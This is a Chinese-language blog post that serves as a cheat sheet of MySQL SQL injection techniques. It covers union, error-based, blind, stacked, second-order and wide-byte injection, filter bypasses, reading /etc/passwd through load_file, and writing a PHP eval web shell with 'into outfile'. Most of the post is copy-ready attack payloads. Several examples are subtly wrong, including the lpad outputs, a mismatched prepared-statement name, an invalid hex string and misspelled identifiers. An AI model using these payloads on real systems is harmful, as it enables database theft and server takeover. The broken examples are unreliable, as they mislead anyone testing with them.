SQL注入基础总结
目录概述
SQL注入指用户输入的参数可控, 攻击者输入的恶意代码传到后端同SQL语句一起被构造并在数据库中执行
注入姿势
普通查询注入
数字型
例如后端SQL语句长这样
select * from article where artid = 1 and xxxxx;
GET的传参是artid,那么可以在参数后面输入单引号,此时数据库无法执行会报错
?artid=1'
select * from article where artid = 1' and xxxx;
通过and 1=1 , and 1=2 判断
?artid=1 and 1=1
?artid=2 and 1=2
select * from article where artid = 1 and 1=1 and xxxx;
若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明存在注入点可以继续测试
order by 判断字段数
?artid=1 order by 4
没报错则说明存在4个字段
爆库
?artid=-1 union select 1, database(), 3, 4
爆表
?artid=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx
字符型
与数字型类似,只是要注意单引号/双引号的闭合
可以在最后加上注释符把后面的语句直接注释掉
报错注入
很多Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。
原理:当⼀个聚合函数,⽐如count()
函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误的形式显⽰出来。
报错常用的函数
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
盲注
场景:在服务器没有内容回显的时候完成的注入攻击。
Boolean盲注
盲注用到的函数
length() 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
逗号被过滤时,可以使用from...for...
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
注入步骤
1.试探数据库名字的长度
?id=1 and length(database()) > 7
2.猜解数据库名
?id=1 and substr(database(), 1, 1) = 's'
可以使用burp或者python脚本进行遍历猜解
时间盲注
注入方法
1.判断注入点,页面的返回没有变化,可能是盲注;
"and -1=-1-- 页面返回有数据
"and -1=-2-- 页面返回有数据
然后用sleep()判断是否是时间盲注。
"and sleep(5)-- w
若页面延时了,则证明存在时间盲注
2.猜解当前数据库名称长度
"and if((length(database()))=12,sleep(5),1)-- w
页面延时了证明当前数据库名称长度为 12。
3.用ASCII码猜解当前数据库名称
"and if(ascii(substr(database(),1,1))=107,sleep(5),1)-- w 页面延时了
更新注入
更新类的操作的返回结果都是布尔型,无法返回数据;因此,更新类注入操作的核心就是构造报错注入的Payload
insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));
堆叠注入
场景:可以同时执行多条sql语句
堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,php中的mysql_multi_query(),pymysql中的cursor.execute()支持多条sql语句同时执行
select * from users;show databases;
虽然这个注入姿势很牛逼,但实际遇到很少,通常有权限的限制且只有当调用数据库函数支持执行多条sql语句时才能够使用,如mysqli_multi_query()函数就支持多条sql语句同时执行,所以可以说堆叠注入的使用条件十分有限
堆叠注入的利用
SET @_sql = select database();
PREPARE stmt from @_sql;
EXECUTE stmp;
二次注入
场景:知道数据库中的列名
原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。
例如原语句:
$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";
我们的用户名被admin'#
传入进去,在数据库里#号为注释符 然后这句话就变成了
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin ‘ #’ and password=’$ curr_pass’ ";
然后就是=8
$ sql = "UPDATE users SET PASSWORD=’$ pass’ where username=’admin‘
宽字节注入
场景:使用了GBK编码
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤
为了绕过magic_quotes_gpc的,于是乎我们开始导入宽字节的概念
我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c
SELECT * FROM users WHERE id='1\'' LIMIT 0,1
这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让%df和%5c组成了一个新的汉字
SELECT * FROM users WHERE id='1%df%5c'and 1=1--+' LIMIT 0,1
SELECT * FROM `article` where articleid = '1%df%5c'and 1=1 --+' LIMIT 0,1
payload:%df'and 1=1 --+'
二次编码注入
场景:使用了urldecode()解码
urldecode()与PHP本身处理编码时,两者配合失误,可构造数据绕过
%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'
DNSLOG 外带注入
https://images.73rok.cc/img/v2-974167660f513ee90d319949958eba51_720w.jpg
MySQL的读写
文件读写与木马植入
利用前提
1.数据库配置
show global variables like '%secure%'
# secure_file_priv = 任意读写
# secure_file_priv = path 只能在该路径下读写
# secure_file_priv = null 不能读写
2.magic_quots_gpc没有开启
3.知道网站绝对路径
读取文件
# load_file('path')
?id=-2 union select 1, 2, 3, load_file('/etc/passwd'), 5
写入文件
# select ... into outfile ...
select "<?php @eval($_GET['a']); ?>" into outfile "/opt/lammp/htdocs/security/shell.php"
常见绕过
结尾注释符过滤
'#' 、'--+' 、'-- -' 、'%23' 、'%00'
"and、or" 过滤
# 可以使用"&&"和"||"代替
# 异或盲注绕过
select (substr((database()),1,1)='s') ^ 0; // 异或运算相同为0,不同为1;根据返回值0,1判断
字符串过滤
# 大小写
SEleCt * FRom users;
# 双写
SELESELECTCT * FRFROMOM users;
#预处理
# 字符串拼接
SET @a=concat("sel", "ect * from users");PREPARE stmt FROM @a;EXECUTE stmt;
# 十六进制编码
SET @a=0x734201231231491424j19412041240115151;PREPARE stmt FROM @a;EXECUTE stmt;
空格过滤
# 注释符/**/代替空格:
select/**/database();
# 使用加号+代替空格:(只适用于GET方法中)
select+database();
# 注意: 加号+在URL中使⽤记得编码为%2B: select%2Bdatabase();
# 使⽤括号嵌套:
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
# 使⽤其他不可⻅字符代替空格:
%09, %0a, %0b, %0c, %0d, %a0
#利用``分隔进行绕过
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
比较符号 "=、<、>"过滤
# in()绕过
ascii(substr(select database(),1,1)) in(115); //根据回显判断
# like注入
# like子句中,'%'表示匹配0个或多个字符,'_'允许匹配任何单个字符,匹配成功返回1,失败返回0
(select database()) like 's%';
# regexp注入
# 正则表达式注入,根据回显判断
select database() regexp '^s'; //回显正常
select database() regexp 'se';
引号过滤
宽字节注入
需要开启magic_quotes_gpc且数据库使用了gbk编码
SELECT * FROM users WHERE id='1\''; // 添加了\转义引号
SELECT * FROM users WHERE id='1%df''; // '\'的url编码是%5c,传入%df',就会变成%5C%df,会被转换成中文‘運’,造成引号逃逸
'\'反斜线逃逸
例如sql语句
SELECT username,password FROM users WHERE username = 'username' and password = 'password'
当username传入admin\时,password传入 or 1#
时sql语句变成
SELECT username,password FROM users WHERE username = 'admin\' and password = 'or 1 #'
此时admin后面的单引号被转义,'admin\' and password ='
变成了一部分,后面的 or 1逃逸,由此可控
逗号过滤
逗号被过滤时,substr(),limit都无法使用
可以使用from...for...过滤
select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);
limit中的逗号可以替换成offset
select * from users limit 1 offset 2;
需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行
information_schema绕过与无列名注入
过滤了or即information_schema无法使用时,可以通过以下库替代
-
sys.schema_auto_increment_columns(只显示有自增的表)
-
sys.schema_table_statistics_with_buffer
通过这种方法可以查询表名但是没办法查列名,于是可以使用无列名注入
# 将1、2、3作为列名查询数据
select 1,2,3 union select * from users;
# 查询对应的某列
select `3` from (select 1,2,3 union select * from users)a;
# 最后的a可以是任意字符,作为别名
# ``被过滤时可以借助别名
select b from (select 1,2,3 as b union select * from USERS)a;
False注入
select * from users where username = 0; # 查询表中所有数据
其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据
绕过引号构造0的方法
select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';
等价函数
if()=> case...when..then...else...end
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
sleep() => benchmark()
benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数
SELECT IF(substr((select database()),1,1)='s',sleep(3),1);
=
SELECT IF(substr((select database()),1,1)='s',benchmark(9999999,md5('a')),1);
concat_ws() => group_concat()
select group_concat(database());
=
select concat_ws(1,database());
substr() => substring() / lpad() / rpad() / left() / mid()
lpad/rpad绕过
# lpad(str1, length, str2)
select lpad(database(),1,1) #s
select lpad(database(),2,1) #e
select lpad(database(),3,1) #c
select lpad(database(),4,1) #u
# rpad(str1, length, str2)
select lpad(database(),1,1) #s
select lpad(database(),2,1) #e
select lpad(database(),3,1) #c
left()绕过
select left((select database()),1) // s
select left((select database()),2) // se
select left((select database()),3) // sec
mid()绕过
select mid((select database()),1,1) // s
select mid((select database()),2,1) // e
select mid((select database()),3,1) // c
select mid((select database()),4,1) // u
标签:总结,users,database,SQL,where,id,select,注入
From: https://www.cnblogs.com/zerok/p/17778123.html